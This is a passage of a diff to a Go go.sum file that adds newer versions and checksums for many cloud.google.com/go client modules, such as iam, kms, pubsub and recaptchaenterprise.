cloud.google.com/go/datastream v1.2.0/go.mod h1:i/uTP8/fZwgATHS/XFu0TcNUhuA0twZxxQ3EyCUQMwo= cloud.google.com/go/datastream v1.3.0/go.mod h1:cqlOX8xlyYF/uxhiKn6Hbv6WjwPPuI9W2M9SAXwaLLQ= cloud.google.com/go/datastream v1.4.0/go.mod h1:h9dpzScPhDTs5noEMQVWP8Wx8AFBRyS0s8KWPx/9r0g= cloud.google.com/go/datastream v1.5.0/go.mod h1:6TZMMNPwjUqZHBKPQ1wwXpb0d5VDVPl2/XoS5yi88q4= +cloud.google.com/go/datastream v1.6.0/go.mod h1:6LQSuswqLa7S4rPAOZFVjHIG3wJIjZcZrw8JDEDJuIs= +cloud.google.com/go/datastream v1.7.0/go.mod h1:uxVRMm2elUSPuh65IbZpzJNMbuzkcvu5CjMqVIUHrww= cloud.google.com/go/deploy v1.4.0/go.mod h1:5Xghikd4VrmMLNaF6FiRFDlHb59VM59YoDQnOUdsH/c= cloud.google.com/go/deploy v1.5.0/go.mod h1:ffgdD0B89tToyW/U/D2eL0jN2+IEV/3EMuXHA0l4r+s= +cloud.google.com/go/deploy v1.6.0/go.mod h1:f9PTHehG/DjCom3QH0cntOVRm93uGBDt2vKzAPwpXQI= +cloud.google.com/go/deploy v1.8.0/go.mod h1:z3myEJnA/2wnB4sgjqdMfgxCA0EqC3RBTNcVPs93mtQ= cloud.google.com/go/dialogflow v1.15.0/go.mod h1:HbHDWs33WOGJgn6rfzBW1Kv807BE3O1+xGbn59zZWI4= cloud.google.com/go/dialogflow v1.16.1/go.mod h1:po6LlzGfK+smoSmTBnbkIZY2w8ffjz/RcGSS+sh1el0= cloud.google.com/go/dialogflow v1.17.0/go.mod h1:YNP09C/kXA1aZdBgC/VtXX74G/TKn7XVCcVumTflA+8= cloud.google.com/go/dialogflow v1.18.0/go.mod h1:trO7Zu5YdyEuR+BhSNOqJezyFQ3aUzz0njv7sMx/iek= cloud.google.com/go/dialogflow v1.19.0/go.mod h1:JVmlG1TwykZDtxtTXujec4tQ+D8SBFMoosgy+6Gn0s0= cloud.google.com/go/dialogflow v1.29.0/go.mod h1:b+2bzMe+k1s9V+F2jbJwpHPzrnIyHihAdRFMtn2WXuM= +cloud.google.com/go/dialogflow v1.31.0/go.mod h1:cuoUccuL1Z+HADhyIA7dci3N5zUssgpBJmCzI6fNRB4= +cloud.google.com/go/dialogflow v1.32.0/go.mod h1:jG9TRJl8CKrDhMEcvfcfFkkpp8ZhgPz3sBGmAUYJ2qE= cloud.google.com/go/dlp v1.6.0/go.mod h1:9eyB2xIhpU0sVwUixfBubDoRwP+GjeUoxxeueZmqvmM= cloud.google.com/go/dlp v1.7.0/go.mod h1:68ak9vCiMBjbasxeVD17hVPxDEck+ExiHavX8kiHG+Q= +cloud.google.com/go/dlp v1.9.0/go.mod h1:qdgmqgTyReTz5/YNSSuueR8pl7hO0o9bQ39ZhtgkWp4= cloud.google.com/go/documentai v1.7.0/go.mod h1:lJvftZB5NRiFSX4moiye1SMxHx0Bc3x1+p9e/RfXYiU= cloud.google.com/go/documentai v1.8.0/go.mod h1:xGHNEB7CtsnySCNrCFdCyyMz44RhFEEX2Q7UD0c5IhU= cloud.google.com/go/documentai v1.9.0/go.mod h1:FS5485S8R00U10GhgBC0aNGrJxBP8ZVpEeJ7PQDZd6k= cloud.google.com/go/documentai v1.10.0/go.mod h1:vod47hKQIPeCfN2QS/jULIvQTugbmdc0ZvxxfQY1bg4= +cloud.google.com/go/documentai v1.16.0/go.mod h1:o0o0DLTEZ+YnJZ+J4wNfTxmDVyrkzFvttBXXtYRMHkM= +cloud.google.com/go/documentai v1.18.0/go.mod h1:F6CK6iUH8J81FehpskRmhLq/3VlwQvb7TvwOceQ2tbs= cloud.google.com/go/domains v0.6.0/go.mod h1:T9Rz3GasrpYk6mEGHh4rymIhjlnIuB4ofT1wTxDeT4Y= cloud.google.com/go/domains v0.7.0/go.mod h1:PtZeqS1xjnXuRPKE/88Iru/LdfoRyEHYA9nFQf4UKpg= +cloud.google.com/go/domains v0.8.0/go.mod h1:M9i3MMDzGFXsydri9/vW+EWz9sWb4I6WyHqdlAk0idE= cloud.google.com/go/edgecontainer v0.1.0/go.mod h1:WgkZ9tp10bFxqO8BLPqv2LlfmQF1X8lZqwW4r1BTajk= cloud.google.com/go/edgecontainer v0.2.0/go.mod h1:RTmLijy+lGpQ7BXuTDa4C4ssxyXT34NIuHIgKuP4s5w= +cloud.google.com/go/edgecontainer v0.3.0/go.mod h1:FLDpP4nykgwwIfcLt6zInhprzw0lEi2P1fjO6Ie0qbc= +cloud.google.com/go/edgecontainer v1.0.0/go.mod h1:cttArqZpBB2q58W/upSG++ooo6EsblxDIolxa3jSjbY= cloud.google.com/go/errorreporting v0.3.0/go.mod h1:xsP2yaAp+OAW4OIm60An2bbLpqIhKXdWR/tawvl7QzU= cloud.google.com/go/essentialcontacts v1.3.0/go.mod h1:r+OnHa5jfj90qIfZDO/VztSFqbQan7HV75p8sA+mdGI= cloud.google.com/go/essentialcontacts v1.4.0/go.mod h1:8tRldvHYsmnBCHdFpvU+GL75oWiBKl80BiqlFh9tp+8= +cloud.google.com/go/essentialcontacts v1.5.0/go.mod h1:ay29Z4zODTuwliK7SnX8E86aUF2CTzdNtvv42niCX0M= cloud.google.com/go/eventarc v1.7.0/go.mod h1:6ctpF3zTnaQCxUjHUdcfgcA1A2T309+omHZth7gDfmc= cloud.google.com/go/eventarc v1.8.0/go.mod h1:imbzxkyAU4ubfsaKYdQg04WS1NvncblHEup4kvF+4gw= +cloud.google.com/go/eventarc v1.10.0/go.mod h1:u3R35tmZ9HvswGRBnF48IlYgYeBcPUCjkr4BTdem2Kw= +cloud.google.com/go/eventarc v1.11.0/go.mod h1:PyUjsUKPWoRBCHeOxZd/lbOOjahV41icXyUY5kSTvVY= cloud.google.com/go/filestore v1.3.0/go.mod h1:+qbvHGvXU1HaKX2nD0WEPo92TP/8AQuCVEBXNY9z0+w= cloud.google.com/go/filestore v1.4.0/go.mod h1:PaG5oDfo9r224f8OYXURtAsY+Fbyq/bLYoINEK8XQAI= +cloud.google.com/go/filestore v1.5.0/go.mod h1:FqBXDWBp4YLHqRnVGveOkHDf8svj9r5+mUDLupOWEDs= +cloud.google.com/go/filestore v1.6.0/go.mod h1:di5unNuss/qfZTw2U9nhFqo8/ZDSc466dre85Kydllg= cloud.google.com/go/firestore v1.9.0/go.mod h1:HMkjKHNTtRyZNiMzu7YAsLr9K3X2udY2AMwDaMEQiiE= cloud.google.com/go/functions v1.6.0/go.mod h1:3H1UA3qiIPRWD7PeZKLvHZ9SaQhR26XIJcC0A5GbvAk= cloud.google.com/go/functions v1.7.0/go.mod h1:+d+QBcWM+RsrgZfV9xo6KfA1GlzJfxcfZcRPEhDDfzg= cloud.google.com/go/functions v1.8.0/go.mod h1:RTZ4/HsQjIqIYP9a9YPbU+QFoQsAlYgrwOXJWHn1POY= cloud.google.com/go/functions v1.9.0/go.mod h1:Y+Dz8yGguzO3PpIjhLTbnqV1CWmgQ5UwtlpzoyquQ08= +cloud.google.com/go/functions v1.10.0/go.mod h1:0D3hEOe3DbEvCXtYOZHQZmD+SzYsi1YbI7dGvHfldXw= +cloud.google.com/go/functions v1.12.0/go.mod h1:AXWGrF3e2C/5ehvwYo/GH6O5s09tOPksiKhz+hH8WkA= +cloud.google.com/go/functions v1.13.0/go.mod h1:EU4O007sQm6Ef/PwRsI8N2umygGqPBS/IZQKBQBcJ3c= cloud.google.com/go/gaming v1.5.0/go.mod h1:ol7rGcxP/qHTRQE/RO4bxkXq+Fix0j6D4LFPzYTIrDM= cloud.google.com/go/gaming v1.6.0/go.mod h1:YMU1GEvA39Qt3zWGyAVA9bpYz/yAhTvaQ1t2sK4KPUA= cloud.google.com/go/gaming v1.7.0/go.mod h1:LrB8U7MHdGgFG851iHAfqUdLcKBdQ55hzXy9xBJz0+w= cloud.google.com/go/gaming v1.8.0/go.mod h1:xAqjS8b7jAVW0KFYeRUxngo9My3f33kFmua++Pi+ggM= +cloud.google.com/go/gaming v1.9.0/go.mod h1:Fc7kEmCObylSWLO334NcO+O9QMDyz+TKC4v1D7X+Bc0= cloud.google.com/go/gkebackup v0.2.0/go.mod h1:XKvv/4LfG829/B8B7xRkk8zRrOEbKtEam6yNfuQNH60= cloud.google.com/go/gkebackup v0.3.0/go.mod h1:n/E671i1aOQvUxT541aTkCwExO/bTer2HDlj4TsBRAo= +cloud.google.com/go/gkebackup v0.4.0/go.mod h1:byAyBGUwYGEEww7xsbnUTBHIYcOPy/PgUWUtOeRm9Vg= cloud.google.com/go/gkeconnect v0.5.0/go.mod h1:c5lsNAg5EwAy7fkqX/+goqFsU1Da/jQFqArp+wGNr/o= cloud.google.com/go/gkeconnect v0.6.0/go.mod h1:Mln67KyU/sHJEBY8kFZ0xTeyPtzbq9StAVvEULYK16A= +cloud.google.com/go/gkeconnect v0.7.0/go.mod h1:SNfmVqPkaEi3bF/B3CNZOAYPYdg7sU+obZ+QTky2Myw= cloud.google.com/go/gkehub v0.9.0/go.mod h1:WYHN6WG8w9bXU0hqNxt8rm5uxnk8IH+lPY9J2TV7BK0= cloud.google.com/go/gkehub v0.10.0/go.mod h1:UIPwxI0DsrpsVoWpLB0stwKCP+WFVG9+y977wO+hBH0= +cloud.google.com/go/gkehub v0.11.0/go.mod h1:JOWHlmN+GHyIbuWQPl47/C2RFhnFKH38jH9Ascu3n0E= +cloud.google.com/go/gkehub v0.12.0/go.mod h1:djiIwwzTTBrF5NaXCGv3mf7klpEMcST17VBTVVDcuaw= cloud.google.com/go/gkemulticloud v0.3.0/go.mod h1:7orzy7O0S+5kq95e4Hpn7RysVA7dPs8W/GgfUtsPbrA= cloud.google.com/go/gkemulticloud v0.4.0/go.mod h1:E9gxVBnseLWCk24ch+P9+B2CoDFJZTyIgLKSalC7tuI= +cloud.google.com/go/gkemulticloud v0.5.0/go.mod h1:W0JDkiyi3Tqh0TJr//y19wyb1yf8llHVto2Htf2Ja3Y= cloud.google.com/go/grafeas v0.2.0/go.mod h1:KhxgtF2hb0P191HlY5besjYm6MqTSTj3LSI+M+ByZHc= cloud.google.com/go/gsuiteaddons v1.3.0/go.mod h1:EUNK/J1lZEZO8yPtykKxLXI6JSVN2rg9bN8SXOa0bgM= cloud.google.com/go/gsuiteaddons v1.4.0/go.mod h1:rZK5I8hht7u7HxFQcFei0+AtfS9uSushomRlg+3ua1o= +cloud.google.com/go/gsuiteaddons v1.5.0/go.mod h1:TFCClYLd64Eaa12sFVmUyG62tk4mdIsI7pAnSXRkcFo= cloud.google.com/go/iam v0.1.0/go.mod h1:vcUNEa0pEm0qRVpmWepWaFMIAI8/hjB9mO8rNCJtF6c= cloud.google.com/go/iam v0.3.0/go.mod h1:XzJPvDayI+9zsASAFO68Hk07u3z+f+JrT2xXNdp4bnY= cloud.google.com/go/iam v0.5.0/go.mod h1:wPU9Vt0P4UmCux7mqtRu6jcpPAb74cP1fh50J3QpkUc= @@ -207,137 +304,215 @@ cloud.google.com/go/iam v0.6.0/go.mod h1:+1AH33ueBne5MzYccyMHtEKqLE4/kJOibtffMHD cloud.google.com/go/iam v0.7.0/go.mod h1:H5Br8wRaDGNc8XP3keLc4unfUUZeyH3Sfl9XpQEYOeg= cloud.google.com/go/iam v0.8.0/go.mod h1:lga0/y3iH6CX7sYqypWJ33hf7kkfXJag67naqGESjkE= cloud.google.com/go/iam v0.11.0/go.mod h1:9PiLDanza5D+oWFZiH1uG+RnRCfEGKoyl6yo4cgWZGY= +cloud.google.com/go/iam v0.12.0/go.mod h1:knyHGviacl11zrtZUoDuYpDgLjvr28sLQaG0YB2GYAY= +cloud.google.com/go/iam v0.13.0/go.mod h1:ljOg+rcNfzZ5d6f1nAUJ8ZIxOaZUVoS14bKCtaLZ/D0= cloud.google.com/go/iap v1.4.0/go.mod h1:RGFwRJdihTINIe4wZ2iCP0zF/qu18ZwyKxrhMhygBEc= cloud.google.com/go/iap v1.5.0/go.mod h1:UH/CGgKd4KyohZL5Pt0jSKE4m3FR51qg6FKQ/z/Ix9A= +cloud.google.com/go/iap v1.6.0/go.mod h1:NSuvI9C/j7UdjGjIde7t7HBz+QTwBcapPE07+sSRcLk= +cloud.google.com/go/iap v1.7.0/go.mod h1:beqQx56T9O1G1yNPph+spKpNibDlYIiIixiqsQXxLIo= +cloud.google.com/go/iap v1.7.1/go.mod h1:WapEwPc7ZxGt2jFGB/C/bm+hP0Y6NXzOYGjpPnmMS74= cloud.google.com/go/ids v1.1.0/go.mod h1:WIuwCaYVOzHIj2OhN9HAwvW+DBdmUAdcWlFxRl+KubM= cloud.google.com/go/ids v1.2.0/go.mod h1:5WXvp4n25S0rA/mQWAg1YEEBBq6/s+7ml1RDCW1IrcY= +cloud.google.com/go/ids v1.3.0/go.mod h1:JBdTYwANikFKaDP6LtW5JAi4gubs57SVNQjemdt6xV4= cloud.google.com/go/iot v1.3.0/go.mod h1:r7RGh2B61+B8oz0AGE+J72AhA0G7tdXItODWsaA2oLs= cloud.google.com/go/iot v1.4.0/go.mod h1:dIDxPOn0UvNDUMD8Ger7FIaTuvMkj+aGk94RPP0iV+g= +cloud.google.com/go/iot v1.5.0/go.mod h1:mpz5259PDl3XJthEmh9+ap0affn/MqNSP4My77Qql9o= +cloud.google.com/go/iot v1.6.0/go.mod h1:IqdAsmE2cTYYNO1Fvjfzo9po179rAtJeVGUvkLN3rLE= cloud.google.com/go/kms v1.4.0/go.mod h1:fajBHndQ+6ubNw6Ss2sSd+SWvjL26RNo/dr7uxsnnOA= cloud.google.com/go/kms v1.5.0/go.mod h1:QJS2YY0eJGBg3mnDfuaCyLauWwBJiHRboYxJ++1xJNg= cloud.google.com/go/kms v1.6.0/go.mod h1:Jjy850yySiasBUDi6KFUwUv2n1+o7QZFyuUJg6OgjA0= +cloud.google.com/go/kms v1.8.0/go.mod h1:4xFEhYFqvW+4VMELtZyxomGSYtSQKzM178ylFW4jMAg= +cloud.google.com/go/kms v1.9.0/go.mod h1:qb1tPTgfF9RQP8e1wq4cLFErVuTJv7UsSC915J8dh3w= +cloud.google.com/go/kms v1.10.0/go.mod h1:ng3KTUtQQU9bPX3+QGLsflZIHlkbn8amFAMY63m8d24= +cloud.google.com/go/kms v1.10.1/go.mod h1:rIWk/TryCkR59GMC3YtHtXeLzd634lBbKenvyySAyYI= cloud.google.com/go/language v1.4.0/go.mod h1:F9dRpNFQmJbkaop6g0JhSBXCNlO90e1KWx5iDdxbWic= cloud.google.com/go/language v1.6.0/go.mod h1:6dJ8t3B+lUYfStgls25GusK04NLh3eDLQnWM3mdEbhI= cloud.google.com/go/language v1.7.0/go.mod h1:DJ6dYN/W+SQOjF8e1hLQXMF21AkH2w9wiPzPCJa2MIE= cloud.google.com/go/language v1.8.0/go.mod h1:qYPVHf7SPoNNiCL2Dr0FfEFNil1qi3pQEyygwpgVKB8= +cloud.google.com/go/language v1.9.0/go.mod h1:Ns15WooPM5Ad/5no/0n81yUetis74g3zrbeJBE+ptUY= cloud.google.com/go/lifesciences v0.5.0/go.mod h1:3oIKy8ycWGPUyZDR/8RNnTOYevhaMLqh5vLUXs9zvT8= cloud.google.com/go/lifesciences v0.6.0/go.mod h1:ddj6tSX/7BOnhxCSd3ZcETvtNr8NZ6t/iPhY2Tyfu08= +cloud.google.com/go/lifesciences v0.8.0/go.mod h1:lFxiEOMqII6XggGbOnKiyZ7IBwoIqA84ClvoezaA/bo= cloud.google.com/go/logging v1.6.1/go.mod h1:5ZO0mHHbvm8gEmeEUHrmDlTDSu5imF6MUP9OfilNXBw= +cloud.google.com/go/logging v1.7.0/go.mod h1:3xjP2CjkM3ZkO73aj4ASA5wRPGGCRrPIAeNqVNkzY8M= cloud.google.com/go/longrunning v0.1.1/go.mod h1:UUFxuDWkv22EuY93jjmDMFT5GPQKeFVJBIF6QlTqdsE= cloud.google.com/go/longrunning v0.3.0/go.mod h1:qth9Y41RRSUE69rDcOn6DdK3HfQfsUI0YSmW3iIlLJc= +cloud.google.com/go/longrunning v0.4.1/go.mod h1:4iWDqhBZ70CvZ6BfETbvam3T8FMvLK+eFj0E6AaRQTo= cloud.google.com/go/managedidentities v1.3.0/go.mod h1:UzlW3cBOiPrzucO5qWkNkh0w33KFtBJU281hacNvsdE= cloud.google.com/go/managedidentities v1.4.0/go.mod h1:NWSBYbEMgqmbZsLIyKvxrYbtqOsxY1ZrGM+9RgDqInM= +cloud.google.com/go/managedidentities v1.5.0/go.mod h1:+dWcZ0JlUmpuxpIDfyP5pP5y0bLdRwOS4Lp7gMni/LA= cloud.google.com/go/maps v0.1.0/go.mod h1:BQM97WGyfw9FWEmQMpZ5T6cpovXXSd1cGmFma94eubI= +cloud.google.com/go/maps v0.6.0/go.mod h1:o6DAMMfb+aINHz/p/jbcY+mYeXBoZoxTfdSQ8VAJaCw= +cloud.google.com/go/maps v0.7.0/go.mod h1:3GnvVl3cqeSvgMcpRlQidXsPYuDGQ8naBis7MVzpXsY= cloud.google.com/go/mediatranslation v0.5.0/go.mod h1:jGPUhGTybqsPQn91pNXw0xVHfuJ3leR1wj37oU3y1f4= cloud.google.com/go/mediatranslation v0.6.0/go.mod h1:hHdBCTYNigsBxshbznuIMFNe5QXEowAuNmmC7h8pu5w= +cloud.google.com/go/mediatranslation v0.7.0/go.mod h1:LCnB/gZr90ONOIQLgSXagp8XUW1ODs2UmUMvcgMfI2I= cloud.google.com/go/memcache v1.4.0/go.mod h1:rTOfiGZtJX1AaFUrOgsMHX5kAzaTQ8azHiuDoTPzNsE= cloud.google.com/go/memcache v1.5.0/go.mod h1:dk3fCK7dVo0cUU2c36jKb4VqKPS22BTkf81Xq617aWM= cloud.google.com/go/memcache v1.6.0/go.mod h1:XS5xB0eQZdHtTuTF9Hf8eJkKtR3pVRCcvJwtm68T3rA= cloud.google.com/go/memcache v1.7.0/go.mod h1:ywMKfjWhNtkQTxrWxCkCFkoPjLHPW6A7WOTVI8xy3LY= +cloud.google.com/go/memcache v1.9.0/go.mod h1:8oEyzXCu+zo9RzlEaEjHl4KkgjlNDaXbCQeQWlzNFJM= cloud.google.com/go/metastore v1.5.0/go.mod h1:2ZNrDcQwghfdtCwJ33nM0+GrBGlVuh8rakL3vdPY3XY= cloud.google.com/go/metastore v1.6.0/go.mod h1:6cyQTls8CWXzk45G55x57DVQ9gWg7RiH65+YgPsNh9s= cloud.google.com/go/metastore v1.7.0/go.mod h1:s45D0B4IlsINu87/AsWiEVYbLaIMeUSoxlKKDqBGFS8= cloud.google.com/go/metastore v1.8.0/go.mod h1:zHiMc4ZUpBiM7twCIFQmJ9JMEkDSyZS9U12uf7wHqSI= +cloud.google.com/go/metastore v1.10.0/go.mod h1:fPEnH3g4JJAk+gMRnrAnoqyv2lpUCqJPWOodSaf45Eo= cloud.google.com/go/monitoring v1.7.0/go.mod h1:HpYse6kkGo//7p6sT0wsIC6IBDET0RhIsnmlA53dvEk= cloud.google.com/go/monitoring v1.8.0/go.mod h1:E7PtoMJ1kQXWxPjB6mv2fhC5/15jInuulFdYYtlcvT4= +cloud.google.com/go/monitoring v1.12.0/go.mod h1:yx8Jj2fZNEkL/GYZyTLS4ZtZEZN8WtDEiEqG4kLK50w= +cloud.google.com/go/monitoring v1.13.0/go.mod h1:k2yMBAB1H9JT/QETjNkgdCGD9bPF712XiLTVr+cBrpw= cloud.google.com/go/networkconnectivity v1.4.0/go.mod h1:nOl7YL8odKyAOtzNX73/M5/mGZgqqMeryi6UPZTk/rA= cloud.google.com/go/networkconnectivity v1.5.0/go.mod h1:3GzqJx7uhtlM3kln0+x5wyFvuVH1pIBJjhCpjzSt75o= cloud.google.com/go/networkconnectivity v1.6.0/go.mod h1:OJOoEXW+0LAxHh89nXd64uGG+FbQoeH8DtxCHVOMlaM= cloud.google.com/go/networkconnectivity v1.7.0/go.mod h1:RMuSbkdbPwNMQjB5HBWD5MpTBnNm39iAVpC3TmsExt8= +cloud.google.com/go/networkconnectivity v1.10.0/go.mod h1:UP4O4sWXJG13AqrTdQCD9TnLGEbtNRqjuaaA7bNjF5E= +cloud.google.com/go/networkconnectivity v1.11.0/go.mod h1:iWmDD4QF16VCDLXUqvyspJjIEtBR/4zq5hwnY2X3scM= cloud.google.com/go/networkmanagement v1.4.0/go.mod h1:Q9mdLLRn60AsOrPc8rs8iNV6OHXaGcDdsIQe1ohekq8= cloud.google.com/go/networkmanagement v1.5.0/go.mod h1:ZnOeZ/evzUdUsnvRt792H0uYEnHQEMaz+REhhzJRcf4= +cloud.google.com/go/networkmanagement v1.6.0/go.mod h1:5pKPqyXjB/sgtvB5xqOemumoQNB7y95Q7S+4rjSOPYY= cloud.google.com/go/networksecurity v0.5.0/go.mod h1:xS6fOCoqpVC5zx15Z/MqkfDwH4+m/61A3ODiDV1xmiQ= cloud.google.com/go/networksecurity v0.6.0/go.mod h1:Q5fjhTr9WMI5mbpRYEbiexTzROf7ZbDzvzCrNl14nyU= +cloud.google.com/go/networksecurity v0.7.0/go.mod h1:mAnzoxx/8TBSyXEeESMy9OOYwo1v+gZ5eMRnsT5bC8k= +cloud.google.com/go/networksecurity v0.8.0/go.mod h1:B78DkqsxFG5zRSVuwYFRZ9Xz8IcQ5iECsNrPn74hKHU= cloud.google.com/go/notebooks v1.2.0/go.mod h1:9+wtppMfVPUeJ8fIWPOq1UnATHISkGXGqTkxeieQ6UY= cloud.google.com/go/notebooks v1.3.0/go.mod h1:bFR5lj07DtCPC7YAAJ//vHskFBxA5JzYlH68kXVdk34= cloud.google.com/go/notebooks v1.4.0/go.mod h1:4QPMngcwmgb6uw7Po99B2xv5ufVoIQ7nOGDyL4P8AgA= cloud.google.com/go/notebooks v1.5.0/go.mod h1:q8mwhnP9aR8Hpfnrc5iN5IBhrXUy8S2vuYs+kBJ/gu0= +cloud.google.com/go/notebooks v1.7.0/go.mod h1:PVlaDGfJgj1fl1S3dUwhFMXFgfYGhYQt2164xOMONmE= +cloud.google.com/go/notebooks v1.8.0/go.mod h1:Lq6dYKOYOWUCTvw5t2q1gp1lAp0zxAxRycayS0iJcqQ= cloud.google.com/go/optimization v1.1.0/go.mod h1:5po+wfvX5AQlPznyVEZjGJTMr4+CAkJf2XSTQOOl9l4= cloud.google.com/go/optimization v1.2.0/go.mod h1:Lr7SOHdRDENsh+WXVmQhQTrzdu9ybg0NecjHidBq6xs= +cloud.google.com/go/optimization v1.3.1/go.mod h1:IvUSefKiwd1a5p0RgHDbWCIbDFgKuEdB+fPPuP0IDLI= cloud.google.com/go/orchestration v1.3.0/go.mod h1:Sj5tq/JpWiB//X/q3Ngwdl5K7B7Y0KZ7bfv0wL6fqVA= cloud.google.com/go/orchestration v1.4.0/go.mod h1:6W5NLFWs2TlniBphAViZEVhrXRSMgUGDfW7vrWKvsBk= +cloud.google.com/go/orchestration v1.6.0/go.mod h1:M62Bevp7pkxStDfFfTuCOaXgaaqRAga1yKyoMtEoWPQ= cloud.google.com/go/orgpolicy v1.4.0/go.mod h1:xrSLIV4RePWmP9P3tBl8S93lTmlAxjm06NSm2UTmKvE= cloud.google.com/go/orgpolicy v1.5.0/go.mod h1:hZEc5q3wzwXJaKrsx5+Ewg0u1LxJ51nNFlext7Tanwc= +cloud.google.com/go/orgpolicy v1.10.0/go.mod h1:w1fo8b7rRqlXlIJbVhOMPrwVljyuW5mqssvBtU18ONc= cloud.google.com/go/osconfig v1.7.0/go.mod h1:oVHeCeZELfJP7XLxcBGTMBvRO+1nQ5tFG9VQTmYS2Fs= cloud.google.com/go/osconfig v1.8.0/go.mod h1:EQqZLu5w5XA7eKizepumcvWx+m8mJUhEwiPqWiZeEdg= cloud.google.com/go/osconfig v1.9.0/go.mod h1:Yx+IeIZJ3bdWmzbQU4fxNl8xsZ4amB+dygAwFPlvnNo= cloud.google.com/go/osconfig v1.10.0/go.mod h1:uMhCzqC5I8zfD9zDEAfvgVhDS8oIjySWh+l4WK6GnWw= +cloud.google.com/go/osconfig v1.11.0/go.mod h1:aDICxrur2ogRd9zY5ytBLV89KEgT2MKB2L/n6x1ooPw= cloud.google.com/go/oslogin v1.4.0/go.mod h1:YdgMXWRaElXz/lDk1Na6Fh5orF7gvmJ0FGLIs9LId4E= cloud.google.com/go/oslogin v1.5.0/go.mod h1:D260Qj11W2qx/HVF29zBg+0fd6YCSjSqLUkY/qEenQU= cloud.google.com/go/oslogin v1.6.0/go.mod h1:zOJ1O3+dTU8WPlGEkFSh7qeHPPSoxrcMbbK1Nm2iX70= cloud.google.com/go/oslogin v1.7.0/go.mod h1:e04SN0xO1UNJ1M5GP0vzVBFicIe4O53FOfcixIqTyXo= +cloud.google.com/go/oslogin v1.9.0/go.mod h1:HNavntnH8nzrn8JCTT5fj18FuJLFJc4NaZJtBnQtKFs= cloud.google.com/go/phishingprotection v0.5.0/go.mod h1:Y3HZknsK9bc9dMi+oE8Bim0lczMU6hrX0UpADuMefr0= cloud.google.com/go/phishingprotection v0.6.0/go.mod h1:9Y3LBLgy0kDTcYET8ZH3bq/7qni15yVUoAxiFxnlSUA= +cloud.google.com/go/phishingprotection v0.7.0/go.mod h1:8qJI4QKHoda/sb/7/YmMQ2omRLSLYSu9bU0EKCNI+Lk= cloud.google.com/go/policytroubleshooter v1.3.0/go.mod h1:qy0+VwANja+kKrjlQuOzmlvscn4RNsAc0e15GGqfMxg= cloud.google.com/go/policytroubleshooter v1.4.0/go.mod h1:DZT4BcRw3QoO8ota9xw/LKtPa8lKeCByYeKTIf/vxdE= +cloud.google.com/go/policytroubleshooter v1.5.0/go.mod h1:Rz1WfV+1oIpPdN2VvvuboLVRsB1Hclg3CKQ53j9l8vw= +cloud.google.com/go/policytroubleshooter v1.6.0/go.mod h1:zYqaPTsmfvpjm5ULxAyD/lINQxJ0DDsnWOP/GZ7xzBc= cloud.google.com/go/privatecatalog v0.5.0/go.mod h1:XgosMUvvPyxDjAVNDYxJ7wBW8//hLDDYmnsNcMGq1K0= cloud.google.com/go/privatecatalog v0.6.0/go.mod h1:i/fbkZR0hLN29eEWiiwue8Pb+GforiEIBnV9yrRUOKI= +cloud.google.com/go/privatecatalog v0.7.0/go.mod h1:2s5ssIFO69F5csTXcwBP7NPFTZvps26xGzvQ2PQaBYg= +cloud.google.com/go/privatecatalog v0.8.0/go.mod h1:nQ6pfaegeDAq/Q5lrfCQzQLhubPiZhSaNhIgfJlnIXs= cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= cloud.google.com/go/pubsub v1.26.0/go.mod h1:QgBH3U/jdJy/ftjPhTkyXNj543Tin1pRYcdcPRnFIRI= cloud.google.com/go/pubsub v1.27.1/go.mod h1:hQN39ymbV9geqBnfQq6Xf63yNhUAhv9CZhzp5O6qsW0= +cloud.google.com/go/pubsub v1.28.0/go.mod h1:vuXFpwaVoIPQMGXqRyUQigu/AX1S3IWugR9xznmcXX8= +cloud.google.com/go/pubsub v1.30.0/go.mod h1:qWi1OPS0B+b5L+Sg6Gmc9zD1Y+HaM0MdUr7LsupY1P4= cloud.google.com/go/pubsublite v1.5.0/go.mod h1:xapqNQ1CuLfGi23Yda/9l4bBCKz/wC3KIJ5gKcxveZg= +cloud.google.com/go/pubsublite v1.6.0/go.mod h1:1eFCS0U11xlOuMFV/0iBqw3zP12kddMeCbj/F3FSj9k= +cloud.google.com/go/pubsublite v1.7.0/go.mod h1:8hVMwRXfDfvGm3fahVbtDbiLePT3gpoiJYJY+vxWxVM= cloud.google.com/go/recaptchaenterprise v1.3.1/go.mod h1:OdD+q+y4XGeAlxRaMn1Y7/GveP6zmq76byL6tjPE7d4= cloud.google.com/go/recaptchaenterprise/v2 v2.1.0/go.mod h1:w9yVqajwroDNTfGuhmOjPDN//rZGySaf6PtFVcSCa7o= cloud.google.com/go/recaptchaenterprise/v2 v2.2.0/go.mod h1:/Zu5jisWGeERrd5HnlS3EUGb/D335f9k51B/FVil0jk= cloud.google.com/go/recaptchaenterprise/v2 v2.3.0/go.mod h1:O9LwGCjrhGHBQET5CA7dd5NwwNQUErSgEDit1DLNTdo= cloud.google.com/go/recaptchaenterprise/v2 v2.4.0/go.mod h1:Am3LHfOuBstrLrNCBrlI5sbwx9LBg3te2N6hGvHn2mE= cloud.google.com/go/recaptchaenterprise/v2 v2.5.0/go.mod h1:O8LzcHXN3rz0j+LBC91jrwI3R+1ZSZEWrfL7XHgNo9U= +cloud.google.com/go/recaptchaenterprise/v2 v2.6.0/go.mod h1:RPauz9jeLtB3JVzg6nCbe12qNoaa8pXc4d/YukAmcnA= +cloud.google.com/go/recaptchaenterprise/v2 v2.7.0/go.mod h1:19wVj/fs5RtYtynAPJdDTb69oW0vNHYDBTbB4NvMD9c= cloud.google.com/go/recommendationengine v0.5.0/go.mod h1:E5756pJcVFeVgaQv3WNpImkFP8a+RptV6dDLGPILjvg= cloud.google.com/go/recommendationengine v0.6.0/go.mod h1:08mq2umu9oIqc7tDy8sx+MNJdLG0fUi3vaSVbztHgJ4= +cloud.google.com/go/recommendationengine v0.7.0/go.mod h1:1reUcE3GIu6MeBz/h5xZJqNLuuVjNg1lmWMPyjatzac= cloud.google.com/go/recommender v1.5.0/go.mod h1:jdoeiBIVrJe9gQjwd759ecLJbxCDED4A6p+mqoqDvTg= cloud.google.com/go/recommender 